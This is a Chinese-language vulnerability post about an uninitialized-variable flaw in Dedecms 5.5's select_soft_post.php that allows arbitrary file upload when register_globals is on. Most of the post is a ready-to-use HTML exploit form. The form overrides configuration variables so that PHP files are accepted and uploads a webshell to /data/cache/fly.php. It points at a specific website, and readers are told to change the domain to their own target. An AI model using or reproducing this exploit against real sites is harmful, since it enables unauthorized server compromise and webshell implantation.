Dedecms select_soft_post.php页面变量未初始漏洞
文/ Flyh4t
影响版本：Dedecms 5.5
漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。
代码如下：
<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
</html>请自行修改form表单对应的网站域名。
比较老的洞了，8月11号我就看到Flyh4t发了